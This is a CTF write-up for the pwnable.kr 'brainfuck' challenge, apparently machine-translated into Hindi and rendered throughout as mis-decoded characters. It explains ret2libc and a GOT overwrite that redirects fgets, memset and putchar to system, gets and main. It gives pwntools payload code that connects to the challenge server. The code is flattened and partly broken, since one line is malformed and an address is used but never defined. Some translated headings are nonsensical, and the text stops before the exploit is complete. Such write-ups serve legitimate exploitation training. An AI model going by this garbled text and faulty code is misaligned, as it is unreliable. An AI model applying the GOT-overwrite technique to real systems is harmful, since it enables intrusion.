рд╕рдорд╕реНрдпрд╛ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдореЗрдВ pwnable.kr 22 - рдмреНрд░реЗрдирдлрдХред Ret2libc рд╣рдорд▓рд╛

рдЫрд╡рд┐

рдЗрд╕ рд▓реЗрдЦ рдореЗрдВ, рд╣рдо pwnable.kr рд╕рд╛рдЗрдЯ рд╕реЗ 22 рд╡реЗрдВ рдХрд╛рд░реНрдп рдХреЛ рд╣рд▓ рдХрд░реЗрдВрдЧреЗ рдФрд░ рд╣рдорд▓реЛрдВ рдХреА рд╢реНрд░реЗрдгреА рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛рдПрдВрдЧреЗ , рдЬрд┐рд╕рдореЗрдВ GOT рдореЗрдВ рдкрддреЗ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдирд╛ рд╣реИ рдЬреЛ рд╣рдореЗрдВ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд╕реЗ рдЖрд╡рд╢реНрдпрдХ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдкрддрд╛ рджреЗрддрд╛ рд╣реИред

рд╕рдВрдЧрдардирд╛рддреНрдордХ рдЬрд╛рдирдХрд╛рд░реА
рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрди рд▓реЛрдЧреЛрдВ рдХреЗ рд▓рд┐рдП рдЬреЛ рд╕реВрдЪрдирд╛ рдФрд░ рдХрдВрдкреНрдпреВрдЯрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рдХрд┐рд╕реА рднреА рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдХреБрдЫ рдирдпрд╛ рд╕реАрдЦрдирд╛ рдФрд░ рд╡рд┐рдХрд╕рд┐рдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рдореИрдВ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╢реНрд░реЗрдгрд┐рдпреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд▓рд┐рдЦреВрдВрдЧрд╛ рдФрд░ рдмрд╛рдд рдХрд░реВрдВрдЧрд╛:

  • PWN;
  • рдХреНрд░рд┐рдкреНрдЯреЛрдЧреНрд░рд╛рдлреА (рдХреНрд░рд┐рдкреНрдЯреЛ);
  • рдиреЗрдЯрд╡рд░реНрдХ рдЯреЗрдХреНрдиреЛрд▓реЙрдЬреАрдЬ (рдиреЗрдЯрд╡рд░реНрдХ);
  • рд░рд┐рд╡рд░реНрд╕ (рд░рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ);
  • рд╕реНрдЯреЗрдЧреНрдиреЛрдЧреНрд░рд╛рдлрд╝реА (рд╕реНрдЯреЗрдЧреНрдиреЛ);
  • WEB рдХрдордЬреЛрд░рд┐рдпреЛрдВ рдХреА рдЦреЛрдЬ рдФрд░ рдЙрдирдХрд╛ рджреЛрд╣рдиред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдореИрдВ рдЕрдкрдиреЗ рдЕрдиреБрднрд╡ рдХреЛ рдХрдВрдкреНрдпреВрдЯрд░ рдлреЛрд░реЗрдВрд╕рд┐рдХ, рдореИрд▓рд╡реЗрдпрд░ рдФрд░ рдлрд░реНрдорд╡реЗрдпрд░ рдХреЗ рд╡рд┐рд╢реНрд▓реЗрд╖рдг, рд╡рд╛рдпрд░рд▓реЗрд╕ рдиреЗрдЯрд╡рд░реНрдХ рдФрд░ рд╕реНрдерд╛рдиреАрдп рдХреНрд╖реЗрддреНрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рд╣рдорд▓реЗ, рдкреЗрдВрдЯреЗрд╕реНрдЯ рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рдХрд░рдиреЗ рдФрд░ рдХрд╛рд░рдирд╛рдореЗ рд▓рд┐рдЦрдиреЗ рдореЗрдВ рд╕рд╛рдЭрд╛ рдХрд░реВрдВрдЧрд╛ред

рддрд╛рдХрд┐ рдЖрдк рдирдП рд▓реЗрдЦ, рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдФрд░ рдЕрдиреНрдп рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рди рд╕рдХреЗрдВ, рдореИрдВрдиреЗ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рдореЗрдВ рдПрдХ рдЪреИрдирд▓ рдмрдирд╛рдпрд╛ рдФрд░ рдЖрдИрд╕реАрдбреА рдХреЗ рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рдХрд┐рд╕реА рднреА рдореБрджреНрджреЗ рдкрд░ рдЪрд░реНрдЪрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдореВрд╣ рдмрдирд╛рдпрд╛ред рд╕рд╛рде рд╣реА, рдореИрдВ рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рдЖрдкрдХреЗ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЕрдиреБрд░реЛрдзреЛрдВ, рдкреНрд░рд╢реНрдиреЛрдВ, рд╕реБрдЭрд╛рд╡реЛрдВ рдФрд░ рд╕рд┐рдлрд╛рд░рд┐рд╢реЛрдВ рдкрд░ рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рд╡рд┐рдЪрд╛рд░ рдХрд░реВрдВрдЧрд╛ рдФрд░ рд╕рднреА рдХрд╛ рдЬрд╡рд╛рдм рджреВрдВрдЧрд╛ ред

рд╕рднреА рдЬрд╛рдирдХрд╛рд░реА рдХреЗрд╡рд▓ рд╢реИрдХреНрд╖рд┐рдХ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред рдЗрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ рд▓реЗрдЦрдХ рдЗрд╕ рджрд╕реНрддрд╛рд╡реЗрдЬрд╝ рдХрд╛ рдЕрдзреНрдпрдпрди рдХрд░рдиреЗ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдкреНрд░рд╛рдкреНрдд рдЬреНрдЮрд╛рди рдФрд░ рд╡рд┐рдзрд┐рдпреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк рдХрд┐рд╕реА рдХреЛ рд╣реБрдП рдиреБрдХрд╕рд╛рди рдХреЗ рд▓рд┐рдП рдХреЛрдИ рдЬрд╝рд┐рдореНрдореЗрджрд╛рд░реА рдирд╣реАрдВ рдЙрдард╛рддрд╛ рд╣реИред

рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд╣рдорд▓реЗ рдкрд░ рд▓реМрдЯреЗрдВ


рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдЕрдЯреИрдХ (рд░рд┐рдЯрд░реНрди-рдЯреВ-рд▓реАрдмреЗрдХ рдЕрдЯреИрдХ) рдХреА рд╡рд╛рдкрд╕реА рдмрдлрд░ рдУрд╡рд░рдлреНрд▓реЛ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рдХрдВрдкреНрдпреВрдЯрд░ рд╣рдорд▓реЛрдВ рдХреЗ рдкреНрд░рдХрд╛рд░реЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рд╣реИ рдЬрдм рд╕реНрдЯреИрдХ рдкрд░ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рд░рд┐рдЯрд░реНрди рдПрдбреНрд░реЗрд╕ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдореЗрдВ рдХрд┐рд╕реА рдЕрдиреНрдп рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рд╕реЗ рдмрджрд▓ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рд╕реНрдЯреИрдХ рдХреЗ рдЕрдЧрд▓реЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЛ рдХреЙрд▓ рдХрд┐рдП рдЧрдП рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рд▓рд┐рдЦрд╛ рдЬрд╛рддрд╛ рд╣реИред рдпрд╣ рддрдХрдиреАрдХ рдХрд┐рд╕реА рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЛрдб рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗ рдмрд┐рдирд╛ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдореЗрдВ рдХрд┐рд╕реА рднреА рдореМрдЬреВрджрд╛ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред

рд▓рд┐рдирдХреНрд╕ рдореЗрдВ рдПрдХ рд╕рд╛рдЭрд╛ рд▓рд┐рдмреЗрдХ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рд╣реИ рдЬреЛ C рдФрд░ POSIX рдорд╛рдирдХ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдкреНрд░рджрд╛рди рдХрд░рддреА рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рд╕рд┐рд╕реНрдЯрдо () рдордирдорд╛рдиреА рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рдУрдПрд╕ рдХреЗ рд╡рд┐рдВрдбреЛрдЬ рдкрд░рд┐рд╡рд╛рд░ рдореЗрдВ рдЗрд╕реА рддрд░рд╣ рдХреЗ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдореМрдЬреВрдж рд╣реИрдВред рдпрджреНрдпрдкрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХрд┐рд╕реА рднреА рдкрддреЗ рдкрд░ рдХреВрджрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рдордЬрдмреВрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЕрдзрд┐рдХрд╛рдВрд╢ рдкреНрд░реЛрдЧреНрд░рд╛рдо libc (рдЗрд╕рд╕реЗ рдЬреБрдбрд╝рд╛ рд╣реБрдЖ) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ, рдЗрд╕рдореЗрдВ рдордирдорд╛рдиреЗ рдЖрджреЗрд╢реЛрдВ рдХреЛ рд▓реЙрдиреНрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдХрд╛рд░реНрдп рд╣реИрдВред рдЗрд╕рд▓рд┐рдП, рдорд╛рдирдХ рдкреБрд╕реНрддрдХрд╛рд▓рдп рдХреЗ рдХрд╛рд░реНрдп рдРрд╕реЗ рдХрд╛рд░рдирд╛рдореЛрдВ рдХрд╛ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рд┐рдд рд▓рдХреНрд╖реНрдп рд╣реИрдВ, рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рд╣рдорд▓реЛрдВ рдХреЗ рд╡рд░реНрдЧ рдХреЛ рдирд╛рдо рджрд┐рдпрд╛ред

рд╣реЙрд░рдХреНрд░рдХреНрд╕ рдЦреЛрдЬ рдХрд╛ рд╕рдорд╛рдзрд╛рди


рд╣рдо рджреВрд╕рд░рд╛ рдЦрдВрдб рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВред рдореИрдВ рддреБрд░рдВрдд рдХрд╣реВрдВрдЧрд╛ рдХрд┐ рдпрд╣ рдкрд╣рд▓реЗ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЕрдзрд┐рдХ рдХрдард┐рди рд╣реИ рдФрд░ рд╣рдореЗрдВ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рдХреЗ рд╕рд╛рде рдкреНрд░рджрд╛рди рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣рд╛рдВ рдЪрд░реНрдЪрд╛ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдордд рднреВрд▓рдирд╛ред рдЪрд▓рд┐рдП рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВред

рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдорд╕реНрддрд┐рд╖реНрдХ рдмрдХрд╡рд╛рд╕ рдХреЗ рд╕рд╛рде рдЖрдЗрдХрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВред рд╡реЗ рд╣рдореЗрдВ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкрддрд╛ рдФрд░ рдкреЛрд░реНрдЯ рджреЗрддреЗ рд╣реИрдВ, рд╕реНрд╡рдпрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо, рдЗрд╕рдХреЗ рд▓рд┐рдП libc рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдФрд░ рдмрддрд╛рддреЗ рд╣реИрдВ рдХрд┐ рдпрд╣ рдПрдХ рдмреНрд░реЗрдирдлреИрдХ рднрд╛рд╖рд╛ рдПрдореБрд▓реЗрдЯрд░ рд╣реИред

рдЫрд╡рд┐

рд╡реЗ рд╕рдм рдХреБрдЫ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ рдЬреЛ рд╡реЗ рд╣рдореЗрдВ рджреЗрддреЗ рд╣реИрдВ, рдмрд╛рдЗрдирд░реА рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред рдпрд╣ рдПрдХ 32-рдмрд┐рдЯ рдпреЛрдЧрд┐рдиреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рд╣рдо рдЖрдИрдбреАрдП рдкреНрд░реЛ рдореЗрдВ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рд╡рд┐рдШрдЯрд┐рдд рдХрд░рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдореБрдЦреНрдп рдХрд╛рд░реНрдп рдореЗрдВ рдХреЛрдИ рднреЗрджреНрдпрддрд╛ рдирд╣реАрдВ рд╣реИрдВред рд╕реНрдореГрддрд┐ рдХрд╛ рдЖрд╡рдВрдЯрди рдФрд░ рдЪрд░ s рдореЗрдВ рджрд░реНрдЬ рд╡рд░реНрдгреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рд╕реЗ рдкрд╣рд▓реЗ, рдкреА рдкреЙрдЗрдВрдЯрд░ рдХреЛ рдЗрдирд┐рд╢рд┐рдпрд▓рд╛рдЗрдЬрд╝ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЖрдЗрдП рдПрдХ рдирдЬрд░ рдбрд╛рд▓рддреЗ рд╣реИрдВ рдмреНрд░реЗрдирдлрдХ рдлрдВрдХреНрд╢рди рдкрд░ред

рдЫрд╡рд┐

рдпрд╣ рдлрд╝рдВрдХреНрд╢рди рд╣рдорд╛рд░реЗ рджреНрд╡рд╛рд░рд╛ рджрд░реНрдЬ рдХрд┐рдП рдЧрдП рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдкреНрд░рддреНрдпреЗрдХ рдЪрд░рд┐рддреНрд░ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдореЗрдВ рд╡рд░реНрдгреЛрдВ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдХреНрд░рд┐рдпрд╛рдУрдВ рдХрд╛ рдПрдХ рдХреНрд░рдо рд╣реЛрддрд╛ рд╣реИред рдЖрджреЗрд╢реЛрдВ рдХрд╛ рдПрдХ рдкреВрд░рд╛ рд╕реЗрдЯ рдЗрд╕ рддрд░рд╣ рджрд┐рдЦрддрд╛ рд╣реИ:

  • +: p рдкрд░ рд╕реНрдерд┐рдд рдорд╛рди рдореЗрдВ рдПрдХ рдЬреЛрдбрд╝реЗрдВ;
  • : рдорд╛рдирдХ рдорд╛рдирдХ рд╕реЗ рдПрдХ рдФрд░ рдЪрд░рд┐рддреНрд░ рд▓реЗрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ рдкреА рдкрд░ рд▓реЗ рдЬрд╛рддрд╛ рд╣реИ;
  • - - p рдкрд░ рдорд╛рди рд╕реЗ рдПрдХ рдШрдЯрд╛рддрд╛ рд╣реИ;
  • ред: рдкрддреЗ рдкреА рдкрд░ рдЪрд░рд┐рддреНрд░ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ;
  • <: рдкреА рд╕реЗ рдШрдЯрд╛рдирд╛;
  • >: рдкреА рдореЗрдВ рдЬреЛрдбрд╝рддрд╛ рд╣реИред

рдЫрд╡рд┐

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдорд╛рд░реЗ рдХрд╛рд░реНрдп рдХрд╛ рд╕рдорд╛рдзрд╛рди рдкреЙрдЗрдВрдЯрд░ рдкреА рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╣реЛрдЧрд╛ред рдЗрд╕рдХрд╛ рд╢реБрд░реБрдЖрддреА рдкрддрд╛ рд▓рдЧрд╛рдПрдВред рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ, рдЪрд░ рдЯреЗрдк рдХрд╛ рдкрддрд╛ p рдореЗрдВ рджрд░реНрдЬ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЕрд░реНрдерд╛рдд 0x804a0a0ред

рдЫрд╡рд┐

рдЗрд╕реА рд╕рдордп, got.plt рдЕрдиреБрднрд╛рдЧ 0x804a000 рдкрд░ рд╕реНрдерд┐рдд рд╣реИ, рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЧрдП рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдкрддреЗ рд▓рд┐рдмреЗрдХ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдЬреАрдУрдЯреА рдФрд░ рдкреАрдПрд▓рдЯреА рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ, рдореИрдВрдиреЗ рдкрд╣рд▓реЗ рд╣реА рдпрд╣рд╛рдВ рд▓рд┐рдЦрд╛ рд╣реИ ред

рдЫрд╡рд┐

рдЪреВрдВрдХрд┐ рдкреЙрдЗрдВрдЯрд░ рдкреА рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░рдХреЗ рд╣рдо рдЬреАрдУрдЯреА рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд╣рдо рд░рд┐рдЯреЗрд▓рд┐рдмреЗрдХ рдЬреИрд╕реЗ рд╣рдорд▓реЗ рдХреЛ рд▓рд╛рдЧреВ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдРрд╕рд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдореЗрдВ рд▓рд┐рдмрд╛рд╕ рд╕реЗ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдкрддреЗ () рдлрд╝рдВрдХреНрд╢рди рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдирд╛ рд╣реЛрдЧрд╛ (рд╣рдореЗрдВ рдПрдХ рдкреБрд╕реНрддрдХрд╛рд▓рдп рднреА рджрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛)ред

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╣рдорд▓рд╛ рд╡реЗрдХреНрдЯрд░ рдЙрднрд░рддрд╛ рд╣реИ:

  1. рд╕рд┐рд╕реНрдЯрдо рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рдкрд░ рдкрддреЗ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдирд╛;
  2. рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдпрд╛рджрдЧрд╛рд░ рдкрддреЗ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдирд╛;
  3. рдкреБрдЫрд╛рд░ рдкрддреЗ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдирд╛ред

рдЗрд╕рд╕реЗ рдХреНрдпрд╛ рд╣реЛрдЧрд╛: рдКрдкрд░ рдмрддрд╛рдП рдЧрдП рдЪрд░рдгреЛрдВ рдХреЛ рдкреВрд░рд╛ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рдЬрдм рдкреБрд╢рд░ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЬреЛ рдореЗрдорд╕реЗрдЯ рдХреЗ рдмрдЬрд╛рдп рдХреЙрд▓ рдХрд░реЗрдЧрд╛ рдФрд░ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдореЗрдВ рджрд░реНрдЬ рдХрд┐рдП рдЧрдП рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЛ рдкрдврд╝реЗрдВред рдЬрд┐рд╕рдХреЗ рдмрд╛рдж, рдлрд╝рд┐рдЬрд╝реЗрдЯреНрд╕ рдХреЗ рдмрдЬрд╛рдп, рдПрдХ рд╕рд┐рд╕реНрдЯрдо рдХрд╣рд╛ рдЬрд╛рдПрдЧрд╛, рдЬреЛ рд╕реНрдЯреИрдХ рд╕реЗ рдПрдХ рддрд░реНрдХ рдЙрдард╛рдПрдЧрд╛ (рдЬреЛ рдХрд┐, рд╣рдорд╛рд░реЗ рджреНрд╡рд╛рд░рд╛ рджрд░реНрдЬ рдХреА рдЧрдИ рд░реЗрдЦрд╛ рд╣реИ)ред

рдЖрдЗрдП рдЗрд╕реЗ рд▓рд╛рдЧреВ рдХрд░реЗрдВред рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рдПрдХ рдЯреЗрдореНрдкреНрд▓реЗрдЯ рдмрдирд╛рдПрдВ рдЬрд┐рд╕рдореЗрдВ рдкреЙрдЗрдВрдЯрд░ рдФрд░ рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЗ рдкрддреЗ рд╣реЛрдВ:

from pwn import * r = remote('pwnable.kr', 9001) p = 0x804a0a0 p_fgets = 0x804a010 p_puts = 0x804a018 p_putchar = 0x804a030 p_main = 0x8048671 

рдЕрдм рд╣рдо рдПрдХ рдлрд╝рдВрдХреНрд╢рди рд▓рд┐рдЦреЗрдВрдЧреЗ рдЬреЛ рдкреЙрдЗрдВрдЯрд░ рдХреЛ рд╣рдорд╛рд░реЗ рджреНрд╡рд╛рд░рд╛ рдЖрд╡рд╢реНрдпрдХ рдЪрд░рдгреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рддрдХ рд▓реЗ рдЬрд╛рдПрдЧрд╛:

 def mvAddr(n): global pp += n if n > 0: return ">"*n else: return "<"*((-1)*n) 

рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдЬреЛ 4 рдмрд╛рдЗрдЯреНрд╕ рдкрдврд╝рддрд╛ рд╣реИ:

 def readVar(): return ".>"*4 + "<"*4 

рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдЬреЛ 4 рдмрд╛рдЗрдЯреНрд╕ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░реЗрдЧрд╛ рдФрд░ рд▓рд┐рдЦреЗрдЧрд╛:

 def writeVar(): return ",>"*4 + "<"*4 

рдЕрдм рд╣рдо рд▓реЛрдб рд▓рд┐рдЦрддреЗ рд╣реИрдВред рдпрд╣ рд╕рд░рд▓ рд╣реИ - рд╣рдо рдлрд┐рдЯ рдкрддреЗ рдкрд░ рдЬрд╛рддреЗ рд╣реИрдВ, рдкрдврд╝рддреЗ рд╣реИрдВ (рдмрд╛рдж рдореЗрдВ рдореИрдВ рдХрд╣реВрдВрдЧрд╛ рдХреНрдпреЛрдВ), рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдирд╛ ... рд╣рдо рдореЗрдорд╕реЗрдЯ рдкрддреЗ рдкрд░ рдЬрд╛рддреЗ рд╣реИрдВ - рд╣рдо рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрддреЗ рд╣реИрдВ, рд╣рдо рдкреБрдЪрд░ рдкрддреЗ рдкрд░ рдЬрд╛рддреЗ рд╣реИрдВ - рд╣рдо рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрддреЗ рд╣реИрдВред рд╕рдм рдХреБрдЫ рд╡рд┐рдЪрд╛рд░ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╣реИред

 payload = mvAddr(p_fgets - p) payload += readVar() payload += writeVar() payload += mvAddr(p_memset - p) payload += writeVar() payload += mvAddr(p_putchar - p) payload += writeVar() payload += '.' 

рддреЛ рдЖрдЦрд┐рд░ рдХреНрдпреЛрдВ рдкрдврд╝рддреЗ рд╣реИрдВ рдкрддрд╛? рдЪреВрдВрдХрд┐ рдпрд╣ рдкреНрд░рд╛рдкреНрдд рд╣реИред рдЗрд╕рд▓рд┐рдП, рд╣рдо рд╕рдВрдмрдВрдзрд┐рдд рд▓рд┐рдмрдХ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЗ рд▓рд┐рдП рдлрд┐рдЯ рдХрд╛ рдкрддрд╛ рдкрдврд╝рддреЗ рд╣реИрдВред рдЪреВрдБрдХрд┐ рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдмрд╕ рдПрдХ libc рдкреБрд╕реНрддрдХрд╛рд▓рдп (рдЕрд╕рдВрдмрдВрдзрд┐рдд) рд╣реИ, рддреЛ рдПрдХ рд╣реА рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рдХреЛ рд▓рд┐рдВрдХреНрдб рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдореЗрдВ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рд╕реЗ рдЕрд╕рдВрдмрдВрдзрд┐рдд рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдореЗрдВ рдШрдЯрд╛рдХрд░, рд╣рдо рдЖрдзрд╛рд░ рдХрд╛ рдирд┐рд░реНрдзрд╛рд░рдг рдХрд░реЗрдВрдЧреЗ, рдЕрд░реНрдерд╛рдд, рд╡рд╣ рдкрддрд╛ рдЬрд┐рд╕рдореЗрдВ рд╕реЗ рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛ m рдлрд╝рд╛рдЗрд▓ (рд▓рд╛рдЗрдмреНрд░реЗрд░реА рдХреЛрдб рдХреА рд╢реБрд░реБрдЖрдд) рд╕реЗ рдЬреЛрдбрд╝рд╛ рдЧрдпрд╛ рд╣реИред рдлрд┐рд░ рдПрдХ рдЕрд╕рдВрдмрджреНрдз рдкреБрд╕реНрддрдХрд╛рд▓рдп рдореЗрдВ рдХрд┐рд╕реА рднреА рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдСрдлрд╕реЗрдЯ рдХреЛ рдЖрдзрд╛рд░ рд╕реЗ рдЬреЛрдбрд╝рдиреЗ рдкрд░, рд╣рдо рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдХрдиреЗрдХреНрдЯ рдХрд┐рдП рдЧрдП рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рдкрд░ рдкрд╣реБрдВрдЪ рдЬрд╛рдПрдВрдЧреЗред рдпрд╣реА рд╣реИ, рд╣рдо рдмрд╛рдЗрдирд░реА рд╕реЗ рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░реЗрдВрдЧреЗ рдЬрд┐рд╕реЗ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ ...

